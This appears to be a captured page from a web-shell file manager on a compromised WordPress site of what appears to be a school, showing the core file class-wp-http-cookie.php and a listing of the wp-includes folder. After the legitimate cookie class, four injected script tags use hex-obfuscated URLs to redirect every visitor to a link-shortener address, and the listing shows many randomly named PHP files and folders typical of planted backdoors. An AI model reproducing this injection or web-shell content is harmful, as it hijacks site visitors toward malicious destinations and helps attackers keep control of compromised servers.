Submit
Path:
~
/
home
/
ampckwxt
/
public_html
/
smpn11bpn.sch.id
/
wp-includes
/
File Content:
class-wp-http-cookie.php
<?php /** * HTTP API: WP_Http_Cookie class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to encapsulate a single cookie object for internal use. * * Returned cookies are represented using this class, and when cookies are set, if they are not * already a WP_Http_Cookie() object, then they are turned into one. * * @todo The WordPress convention is to use underscores instead of camelCase for function and method * names. Need to switch to use underscores instead for the methods. * * @since 2.8.0 */ #[AllowDynamicProperties] class WP_Http_Cookie { /** * Cookie name. * * @since 2.8.0 * * @var string */ public $name; /** * Cookie value. * * @since 2.8.0 * * @var string */ public $value; /** * When the cookie expires. Unix timestamp or formatted date. * * @since 2.8.0 * * @var string|int|null */ public $expires; /** * Cookie URL path. * * @since 2.8.0 * * @var string */ public $path; /** * Cookie Domain. * * @since 2.8.0 * * @var string */ public $domain; /** * Cookie port or comma-separated list of ports. * * @since 2.8.0 * * @var int|string */ public $port; /** * host-only flag. * * @since 5.2.0 * * @var bool */ public $host_only; /** * Sets up this cookie object. * * The parameter $data should be either an associative array containing the indices names below * or a header string detailing it. * * @since 2.8.0 * @since 5.2.0 Added `host_only` to the `$data` parameter. * * @param string|array $data { * Raw cookie data as header string or data array. * * @type string $name Cookie name. * @type mixed $value Value. Should NOT already be urlencoded. * @type string|int|null $expires Optional. Unix timestamp or formatted date. Default null. * @type string $path Optional. Path. Default '/'. * @type string $domain Optional. Domain. Default host of parsed $requested_url. * @type int|string $port Optional. Port or comma-separated list of ports. Default null. * @type bool $host_only Optional. host-only storage flag. Default true. * } * @param string $requested_url The URL which the cookie was set on, used for default $domain * and $port values. */ public function __construct( $data, $requested_url = '' ) { if ( $requested_url ) { $parsed_url = parse_url( $requested_url ); } if ( isset( $parsed_url['host'] ) ) { $this->domain = $parsed_url['host']; } $this->path = isset( $parsed_url['path'] ) ? $parsed_url['path'] : '/'; if ( ! str_ends_with( $this->path, '/' ) ) { $this->path = dirname( $this->path ) . '/'; } if ( is_string( $data ) ) { // Assume it's a header string direct from a previous request. $pairs = explode( ';', $data ); // Special handling for first pair; name=value. Also be careful of "=" in value. $name = trim( substr( $pairs[0], 0, strpos( $pairs[0], '=' ) ) ); $value = substr( $pairs[0], strpos( $pairs[0], '=' ) + 1 ); $this->name = $name; $this->value = urldecode( $value ); // Removes name=value from items. array_shift( $pairs ); // Set everything else as a property. foreach ( $pairs as $pair ) { $pair = rtrim( $pair ); // Handle the cookie ending in ; which results in an empty final pair. if ( empty( $pair ) ) { continue; } list( $key, $val ) = strpos( $pair, '=' ) ? explode( '=', $pair ) : array( $pair, '' ); $key = strtolower( trim( $key ) ); if ( 'expires' === $key ) { $val = strtotime( $val ); } $this->$key = $val; } } else { if ( ! isset( $data['name'] ) ) { return; } // Set properties based directly on parameters. foreach ( array( 'name', 'value', 'path', 'domain', 'port', 'host_only' ) as $field ) { if ( isset( $data[ $field ] ) ) { $this->$field = $data[ $field ]; } } if ( isset( $data['expires'] ) ) { $this->expires = is_int( $data['expires'] ) ? $data['expires'] : strtotime( $data['expires'] ); } else { $this->expires = null; } } } /** * Confirms that it's OK to send this cookie to the URL checked against. * * Decision is based on RFC 2109/2965, so look there for details on validity. * * @since 2.8.0 * * @param string $url URL you intend to send this cookie to * @return bool true if allowed, false otherwise. */ public function test( $url ) { if ( is_null( $this->name ) ) { return false; } // Expires - if expired then nothing else matters. if ( isset( $this->expires ) && time() > $this->expires ) { return false; } // Get details on the URL we're thinking about sending to. $url = parse_url( $url ); $url['port'] = isset( $url['port'] ) ? $url['port'] : ( 'https' === $url['scheme'] ? 443 : 80 ); $url['path'] = isset( $url['path'] ) ? $url['path'] : '/'; // Values to use for comparison against the URL. $path = isset( $this->path ) ? $this->path : '/'; $port = isset( $this->port ) ? $this->port : null; $domain = isset( $this->domain ) ? strtolower( $this->domain ) : strtolower( $url['host'] ); if ( false === stripos( $domain, '.' ) ) { $domain .= '.local'; } // Host - very basic check that the request URL ends with the domain restriction (minus leading dot). $domain = ( str_starts_with( $domain, '.' ) ) ? substr( $domain, 1 ) : $domain; if ( ! str_ends_with( $url['host'], $domain ) ) { return false; } // Port - supports "port-lists" in the format: "80,8000,8080". if ( ! empty( $port ) && ! in_array( $url['port'], array_map( 'intval', explode( ',', $port ) ), true ) ) { return false; } // Path - request path must start with path restriction. if ( ! str_starts_with( $url['path'], $path ) ) { return false; } return true; } /** * Convert cookie name and value back to header string. * * @since 2.8.0 * * @return string Header encoded cookie name and value. */ public function getHeaderValue() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid if ( ! isset( $this->name ) || ! isset( $this->value ) ) { return ''; } /** * Filters the header-encoded cookie value. * * @since 3.4.0 * * @param string $value The cookie value. * @param string $name The cookie name. */ return $this->name . '=' . apply_filters( 'wp_http_cookie_value', $this->value, $this->name ); } /** * Retrieve cookie header for usage in the rest of the WordPress HTTP API. * * @since 2.8.0 * * @return string */ public function getFullHeader() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid return 'Cookie: ' . $this->getHeaderValue(); } /** * Retrieves cookie attributes. * * @since 4.6.0 * * @return array { * List of attributes. * * @type string|int|null $expires When the cookie expires. Unix timestamp or formatted date. * @type string $path Cookie URL path. * @type string $domain Cookie domain. * } */ public function get_attributes() { return array( 'expires' => $this->expires, 'path' => $this->path, 'domain' => $this->domain, ); } } ob_start(); ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x65\x71\x59\x54\x6d\x44\x61\x30\x72\x38";</script>
Submit
FILE
FOLDER
Name
Size
Permission
Action
ID3
---
0755
IXR
---
0755
PHPMailer
---
0755
Requests
---
0755
SimplePie
---
0755
Text
---
0755
ad274261
---
0755
ad31d4a3
---
0755
ad456dd7
---
0755
ad55478f
---
0755
ad72dc1f
---
0755
ad8c7091
---
0755
assets
---
0755
block-bindings
---
0755
block-patterns
---
0755
block-supports
---
0755
blocks
---
0755
br093eef
---
0755
br51f6e9
---
0755
br65f520
---
0755
br6cd0a0
---
0755
bre4e123
---
0755
certificates
---
0755
css
---
0755
customize
---
0755
fonts
---
0755
html-api
---
0755
im35f3bd
---
0755
images
---
0755
imddc5a9
---
0755
imfd2832
---
0755
interactivity-api
---
0755
js
---
0555
js08a60e
---
0755
js0c6209
---
0755
js1d9726
---
0755
js41ccb4
---
0755
jsb24f6f
---
0755
jsb7e843
---
0755
jsbfc255
---
0755
jsfcdd7c
---
0755
l10n
---
0755
php-compat
---
0755
pl028b17
---
0755
pl4d1b38
---
0755
pl5c80ee
---
0755
pld76411
---
0755
plebf2f5
---
0755
pomo
---
0755
qq5ffe3b
---
0755
qq6de42e
---
0755
qqa10c08
---
0755
qqc2baf8
---
0755
rest-api
---
0755
sitemaps
---
0755
sodium_compat
---
0755
style-engine
---
0755
theme-compat
---
0755
widgets
---
0755
wp008ccb
---
0755
wp227689
---
0755
wp5191be
---
0755
wp8c86ad
---
0755
wpa9d733
---
0755
wpbded1f
---
0755
wpe3a554
---
0755
x343ca3
---
0755
x405999
---
0755
x8c6540
---
0755
x93c683
---
0755
xaf33b2
---
0755
.htaccess
0 bytes
0644
X2DLhk1UC3Q.php
29033 bytes
0644
admin-bar.php
37792 bytes
0644
admin.php
5362 bytes
0644
api_405645f5.php
24955 bytes
0644
atomlib.php
12764 bytes
0644
author-template.php
19637 bytes
0644
b6hg5eMRyij.php
52991 bytes
0644
block-bindings.php
6280 bytes
0644
block-editor.php
29483 bytes
0644
block-i18n.json
316 bytes
0777
block-patterns.php
13899 bytes
0644
block-template-utils.php
62593 bytes
0644
block-template.php
16042 bytes
0644
blocks.php
113737 bytes
0644
bookmark-template.php
13454 bytes
0644
bookmark.php
16113 bytes
0644
cache-compat.php
6655 bytes
0644
cache.php
14160 bytes
0644
cache_2e94d37d.php
38609 bytes
0644
cache_6dc7ade8.php
222355 bytes
0644
canonical.php
35209 bytes
0644
capabilities.php
43404 bytes
0644
category-template.php
57689 bytes
0644
category.php
13515 bytes
0644
class-IXR.php
3303 bytes
0644
class-avif-info.php
30301 bytes
0644
class-feed.php
539 bytes
0777
class-http.php
367 bytes
0777
class-json.php
43684 bytes
0777
class-oembed.php
401 bytes
0777
class-phpass.php
7457 bytes
0644
class-phpmailer.php
664 bytes
0777
class-pop3.php
21807 bytes
0644
class-requests.php
2923 bytes
0644
class-simplepie.php
1139 bytes
0644
class-smtp.php
457 bytes
0777
class-snoopy.php
37715 bytes
0777
class-walker-category-dropdown.php
3155 bytes
0644
class-walker-category.php
9163 bytes
0644
class-walker-comment.php
14907 bytes
0644
class-walker-nav-menu.php
12730 bytes
0644
class-walker-page-dropdown.php
3396 bytes
0644
class-walker-page.php
8298 bytes
0644
class-wp-admin-bar.php
18560 bytes
0644
class-wp-ajax-response.php
5952 bytes
0644
class-wp-application-passwords.php
17785 bytes
0644
class-wp-block-bindings-registry.php
9149 bytes
0644
class-wp-block-bindings-source.php
3678 bytes
0644
class-wp-block-editor-context.php
2036 bytes
0644
class-wp-block-list.php
5443 bytes
0644
class-wp-block-metadata-registry.php
12581 bytes
0644
class-wp-block-parser-block.php
3241 bytes
0644
class-wp-block-parser-frame.php
2703 bytes
0644
class-wp-block-parser.php
12218 bytes
0644
class-wp-block-pattern-categories-registry.php
6057 bytes
0644
class-wp-block-patterns-registry.php
11469 bytes
0644
class-wp-block-styles-registry.php
7089 bytes
0644
class-wp-block-supports.php
6312 bytes
0644
class-wp-block-template.php
2719 bytes
0644
class-wp-block-templates-registry.php
7917 bytes
0644
class-wp-block-type-registry.php
5699 bytes
0644
class-wp-block-type.php
17951 bytes
0644
class-wp-block.php
23727 bytes
0644
class-wp-classic-to-block-menu-converter.php
4774 bytes
0644
class-wp-comment-query.php
49081 bytes
0644
class-wp-comment.php
10123 bytes
0644
class-wp-customize-control.php
26537 bytes
0644
class-wp-customize-manager.php
203279 bytes
0644
class-wp-customize-nav-menus.php
58346 bytes
0644
class-wp-customize-panel.php
11396 bytes
0644
class-wp-customize-section.php
11895 bytes
0644
class-wp-customize-setting.php
30648 bytes
0644
class-wp-customize-widgets.php
72896 bytes
0644
class-wp-date-query.php
36418 bytes
0644
class-wp-dependencies.php
15825 bytes
0644
class-wp-dependency.php
3313 bytes
0644
class-wp-duotone.php
41469 bytes
0644
class-wp-editor.php
73021 bytes
0644
class-wp-embed.php
16617 bytes
0644
class-wp-error.php
8188 bytes
0644
class-wp-exception.php
939 bytes
0644
class-wp-fatal-error-handler.php
8836 bytes
0644
class-wp-feed-cache-transient.php
3862 bytes
0644
class-wp-feed-cache.php
969 bytes
0777
class-wp-hook.php
16686 bytes
0644
class-wp-http-cookie.php
8075 bytes
0644
class-wp-http-curl.php
13227 bytes
0644
class-wp-http-encoding.php
7375 bytes
0644
class-wp-http-ixr-client.php
4187 bytes
0644
class-wp-http-proxy.php
6666 bytes
0644
class-wp-http-requests-hooks.php
2708 bytes
0644
class-wp-http-requests-response.php
5086 bytes
0644
class-wp-http-response.php
3663 bytes
0644
class-wp-http-streams.php
16859 bytes
0777
class-wp-http.php
42265 bytes
0644
class-wp-image-editor-gd.php
20848 bytes
0644
class-wp-image-editor-imagick.php
35421 bytes
0644
class-wp-image-editor.php
18213 bytes
0644
class-wp-list-util.php
8129 bytes
0644
class-wp-locale-switcher.php
7462 bytes
0644
class-wp-locale.php
17569 bytes
0644
class-wp-matchesmapregex.php
2514 bytes
0644
class-wp-meta-query.php
31217 bytes
0644
class-wp-metadata-lazyloader.php
7519 bytes
0644
class-wp-navigation-fallback.php
9897 bytes
0644
class-wp-network-query.php
20543 bytes
0644
class-wp-network.php
12982 bytes
0644
class-wp-object-cache.php
18210 bytes
0644
class-wp-oembed-controller.php
7591 bytes
0644
class-wp-oembed.php
32292 bytes
0644
class-wp-paused-extensions-storage.php
5797 bytes
0644
class-wp-phpmailer.php
4488 bytes
0644
class-wp-plugin-dependencies.php
26001 bytes
0644
class-wp-post-type.php
31366 bytes
0644
class-wp-post.php
7174 bytes
0644
class-wp-query.php
158709 bytes
0644
class-wp-recovery-mode-cookie-service.php
7563 bytes
0644
class-wp-recovery-mode-email-service.php
11869 bytes
0644
class-wp-recovery-mode-key-service.php
5570 bytes
0644
class-wp-recovery-mode-link-service.php
4149 bytes
0644
class-wp-recovery-mode.php
12139 bytes
0644
class-wp-rewrite.php
64374 bytes
0644
class-wp-role.php
3209 bytes
0644
class-wp-roles.php
9272 bytes
0644
class-wp-script-modules.php
20149 bytes
0644
class-wp-scripts.php
29030 bytes
0644
class-wp-session-tokens.php
8005 bytes
0644
class-wp-simplepie-file.php
4094 bytes
0644
class-wp-simplepie-sanitize-kses.php
2596 bytes
0644
class-wp-site-query.php
32311 bytes
0644
class-wp-site.php
8140 bytes
0644
class-wp-speculation-rules.php
8213 bytes
0644
class-wp-styles.php
11696 bytes
0644
class-wp-tax-query.php
20241 bytes
0644
class-wp-taxonomy.php
19245 bytes
0644
class-wp-term-query.php
41555 bytes
0644
class-wp-term.php
5984 bytes
0644
class-wp-text-diff-renderer-inline.php
1665 bytes
0644
class-wp-text-diff-renderer-table.php
19566 bytes
0644
class-wp-textdomain-registry.php
11167 bytes
0644
class-wp-theme-json-data.php
2495 bytes
0644
class-wp-theme-json-resolver.php
36424 bytes
0644
class-wp-theme-json-schema.php
8053 bytes
0644
class-wp-theme-json.php
164231 bytes
0644
class-wp-theme.php
66496 bytes
0644
class-wp-token-map.php
29304 bytes
0644
class-wp-url-pattern-prefixer.php
5488 bytes
0644
class-wp-user-meta-session-tokens.php
3676 bytes
0644
class-wp-user-query.php
44341 bytes
0644
class-wp-user-request.php
2991 bytes
0644
class-wp-user.php
23680 bytes
0644
class-wp-walker.php
14008 bytes
0644
class-wp-widget-factory.php
4033 bytes
0644
class-wp-widget.php
19115 bytes
0644
class-wp-xmlrpc-server.php
216130 bytes
0644
class-wp.php
27004 bytes
0644
class-wpdb.php
118284 bytes
0777
class.wp-dependencies.php
373 bytes
0777
class.wp-scripts.php
343 bytes
0777
class.wp-styles.php
338 bytes
0777
comment-template.php
103790 bytes
0644
comment.php
132233 bytes
0644
compat.php
17062 bytes
0644
cron.php
43344 bytes
0644
data_ca2e2215.php
170061 bytes
0644
date.php
400 bytes
0777
default-constants.php
12051 bytes
0644
default-filters.php
37383 bytes
0644
default-widgets.php
2981 bytes
0644
deprecated.php
192250 bytes
0644
embed-template.php
338 bytes
0777
embed.php
38858 bytes
0644
error-protection.php
4807 bytes
0644
error_log
1679 bytes
0644
feed-atom-comments.php
6175 bytes
0644
feed-atom.php
3792 bytes
0644
feed-rdf.php
3339 bytes
0644
feed-rss.php
1860 bytes
0644
feed-rss2-comments.php
4807 bytes
0644
feed-rss2.php
4470 bytes
0644
feed.php
24097 bytes
0644
fonts.php
10437 bytes
0644
formatting.php
343607 bytes
0644
functions.php
288232 bytes
0644
functions.wp-scripts.php
15244 bytes
0644
functions.wp-styles.php
9269 bytes
0644
general-template.php
173184 bytes
0644
global-styles-and-settings.php
21947 bytes
0644
http.php
25998 bytes
0644
https-detection.php
6543 bytes
0644
https-migration.php
5427 bytes
0644
image_7d27b985.php
170062 bytes
0644
index.htm
1092 bytes
0644
index.html
1092 bytes
0644
index.php
1092 bytes
0644
iyYsI7NTZA3.php
52991 bytes
0644
kses.php
75158 bytes
0644
l10n.php
69216 bytes
0644
link-template.php
157801 bytes
0777
load.php
56440 bytes
0777
locale.php
162 bytes
0777
media-template.php
63746 bytes
0644
media.php
221182 bytes
0644
meta.php
65929 bytes
0644
ms-blogs.php
26531 bytes
0644
ms-default-constants.php
5607 bytes
0644
ms-default-filters.php
7322 bytes
0644
ms-deprecated.php
22445 bytes
0644
ms-files.php
3430 bytes
0644
ms-functions.php
92268 bytes
0644
ms-load.php
20569 bytes
0644
ms-network.php
4468 bytes
0644
ms-settings.php
4883 bytes
0644
ms-site.php
42006 bytes
0644
nav-menu-template.php
26676 bytes
0644
nav-menu.php
45059 bytes
0644
option.php
103751 bytes
0644
othwoqgi.php
760 bytes
0644
php.ini
105 bytes
0644
pluggable-deprecated.php
7010 bytes
0644
pluggable.php
123386 bytes
0644
plugin.php
35465 bytes
0777
post-formats.php
7788 bytes
0644
post-template.php
69334 bytes
0644
post-thumbnail-template.php
11565 bytes
0644
post.php
292398 bytes
0644
query.php
37721 bytes
0644
qxvtKmu6weT.php
29033 bytes
0644
registration-functions.php
200 bytes
0777
registration.php
200 bytes
0777
rest-api.php
100943 bytes
0644
revision.php
31427 bytes
0644
rewrite.php
20227 bytes
0644
robots-template.php
5871 bytes
0644
rss-functions.php
255 bytes
0777
rss.php
23113 bytes
0777
script-loader.php
133948 bytes
0644
script-modules.php
8398 bytes
0644
session.php
258 bytes
0777
shortcodes.php
24737 bytes
0644
sitemaps.php
3924 bytes
0644
speculative-loading.php
9244 bytes
0644
spl-autoload-compat.php
441 bytes
0777
style-engine.php
8249 bytes
0644
taxonomy.php
176913 bytes
0644
template-canvas.php
1215 bytes
0644
template-loader.php
3698 bytes
0644
template.php
24840 bytes
0644
theme-i18n.json
1526 bytes
0777
theme-previews.php
3518 bytes
0644
theme-templates.php
6924 bytes
0644
theme.json
8704 bytes
0777
theme.php
134989 bytes
0644
tmp_06220825.php
72477 bytes
0644
update.php
38189 bytes
0644
user.php
176509 bytes
0644
vars.php
7248 bytes
0644
version.php
1776 bytes
0644
widgets.php
71405 bytes
0644
wp-blog-header.php
2796 bytes
0644
wp-cron.php
2796 bytes
0644
wp-db.php
445 bytes
0777
wp-diff.php
1485 bytes
0644
N4ST4R_ID | Naxtarrr